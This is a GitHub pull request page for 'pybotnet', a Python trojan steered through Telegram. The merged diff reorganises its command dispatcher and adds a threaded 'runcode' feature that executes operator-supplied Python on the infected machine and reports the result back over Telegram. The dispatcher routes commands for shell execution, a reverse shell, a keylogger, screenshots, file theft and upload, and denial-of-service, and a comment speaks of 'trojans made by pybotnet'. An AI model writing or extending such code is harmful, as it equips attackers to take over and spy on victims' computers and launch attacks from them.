Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added some kind of a timeout to runcode #21

Merged
merged 3 commits into from
Nov 29, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 1 addition & 2 deletions configs.py.sample
Original file line number Diff line number Diff line change
@@ -1,10 +1,9 @@

# TODO:
# ? rename this file to config.py
# ? change TELEGRAM_TOKEN and ADMIN_CHAT_ID to valid data

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:AAHsvEH-5VyIfWYMzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
# telegram account number ID (Get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'
155 changes: 83 additions & 72 deletions pybotnet/scripts.py
Original file line number Diff line number Diff line change
Expand Up @@ -59,6 +59,74 @@
"runcode": "`runcode <code>` Will run given python code. This function cant return values.",
}

def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str,
TELEGRAM_TOKEN: str, previous_update_id: List[int], logger):
command_name = get_command_name(command)
try:
if is_command(command):

if command_name == MAC_ADDRES:
'''run command just on this system'''
logger.info('delete mac addres and run command ')
new_command = ' '.join(split_command(command)[1:])
return execute_scripts(
new_command, pybotnet_up_time,
ADMIN_CHAT_ID, TELEGRAM_TOKEN,
previous_update_id, logger)

elif command_name == 'do_sleep':
return execute_do_sleep(command, logger)

elif command_name in ['get_info', 'info']:
return get_info(pybotnet_up_time, logger)

elif command_name == 'cmd':
return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True)

elif command_name == 'ls':
return execute_ls(command, logger)

elif command_name == 'cd':
return execute_cd(command, logger)

elif command_name == 'export_file':
return execute_download_manager(command, logger)

elif command_name == 'import_file':
return execute_upload_manager(command, logger)

elif command_name == 'screenshot':
return screenshot(logger)

elif command_name in ['help', '/start']:
return command_help(logger)

elif command_name in ['reverse_shell']:
return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger)

elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']:
return keylogger(logger, command)

elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]:
return scheduler_script(logger, command)

elif command_name == "playsound":
return playsound_pybotnet(logger, command)

elif command_name == "openurl":
return openurl(logger, command)

elif command_name == "dos":
return dos(logger, command)

elif command_name == "runcode":
return runcode(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger, command)
logger.error('execute_scripts invalid command; Wrong format')
return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}"

except Exception as error:
return f'execute_scripts error: {error}'


def split_command(command: str) -> list:
'''split string by space'''
Expand Down Expand Up @@ -251,7 +319,7 @@ def cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread):

def execute_cmd(command: str, ADMIN_CHAT_ID: str, TELEGRAM_TOKEN: str, logger, withThread=False) -> str:
# Removed Is Shell
# For what is for reverse shell
#With Thread is for reverse Shell only
try:
command = split_command(command)
if command[0] == 'cmd':
Expand Down Expand Up @@ -537,16 +605,26 @@ def dos(logger, command):
logger.error("Something Failed. Maybe The Servers Are Down !")
return "Something Failed. Maybe The Servers Are Down !"


def runcode(logger, command):
def exec_runner(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger,command):
def send_message(text: str):
util.send_message_by_third_party_proxy(
text, TELEGRAM_TOKEN=TELEGRAM_TOKEN,
ADMIN_CHAT_ID=ADMIN_CHAT_ID, logger=logger)
code = ' '.join(split_command(command)[1:])
logger.info(f"Trying to run {code}")
try:
sleep(5) # So that the runcode message deliver first.
exec(command)
return "ِDone"
send_message("Executed Successfully")
except Exception as error:
logger.error(f"Something failed while trying to run code. {error}")
return f"Something failed while trying to run code. {error}"
send_message(f"Something failed while trying to run code. {error}")

def runcode(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger, command):
logger.info(f"Trying to run {command}")
t1 = threading.Thread(target=exec_runner,args=(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id,logger,command))
t1.start()
return "Running The given code , the results will not be returned but you will get a message informing you that the code has finished."


def command_help(logger):
Expand All @@ -571,70 +649,3 @@ def command_help(logger):
for more help, see: {settings.pybotnet_github_link}'''


def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str,
TELEGRAM_TOKEN: str, previous_update_id: List[int], logger):
command_name = get_command_name(command)
try:
if is_command(command):

if command_name == MAC_ADDRES:
'''run command just on this system'''
logger.info('delete mac addres and run command ')
new_command = ' '.join(split_command(command)[1:])
return execute_scripts(
new_command, pybotnet_up_time,
ADMIN_CHAT_ID, TELEGRAM_TOKEN,
previous_update_id, logger)

elif command_name == 'do_sleep':
return execute_do_sleep(command, logger)

elif command_name in ['get_info', 'info']:
return get_info(pybotnet_up_time, logger)

elif command_name == 'cmd':
return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True)

elif command_name == 'ls':
return execute_ls(command, logger)

elif command_name == 'cd':
return execute_cd(command, logger)

elif command_name == 'export_file':
return execute_download_manager(command, logger)

elif command_name == 'import_file':
return execute_upload_manager(command, logger)

elif command_name == 'screenshot':
return screenshot(logger)

elif command_name in ['help', '/start']:
return command_help(logger)

elif command_name in ['reverse_shell']:
return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger)

elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']:
return keylogger(logger, command)

elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]:
return scheduler_script(logger, command)

elif command_name == "playsound":
return playsound_pybotnet(logger, command)

elif command_name == "openurl":
return openurl(logger, command)

elif command_name == "dos":
return dos(logger, command)

elif command_name == "runcode":
return runcode(logger, command)
logger.error('execute_scripts invalid command; Wrong format')
return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}"

except Exception as error:
return f'execute_scripts error: {error}'
1 change: 0 additions & 1 deletion simple_code.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,6 @@
# ! rename configs.py.sample to configs.py
# ! and edit configs.py data
from configs import TELEGRAM_TOKEN, ADMIN_CHAT_ID
# is_shell has already been removed since version 1.0.0 , please consider updating if your trojans made by pybotnet still have this.
# * show_log: just for debugging
# * send_system_data: send system short info in bot messages

Expand Down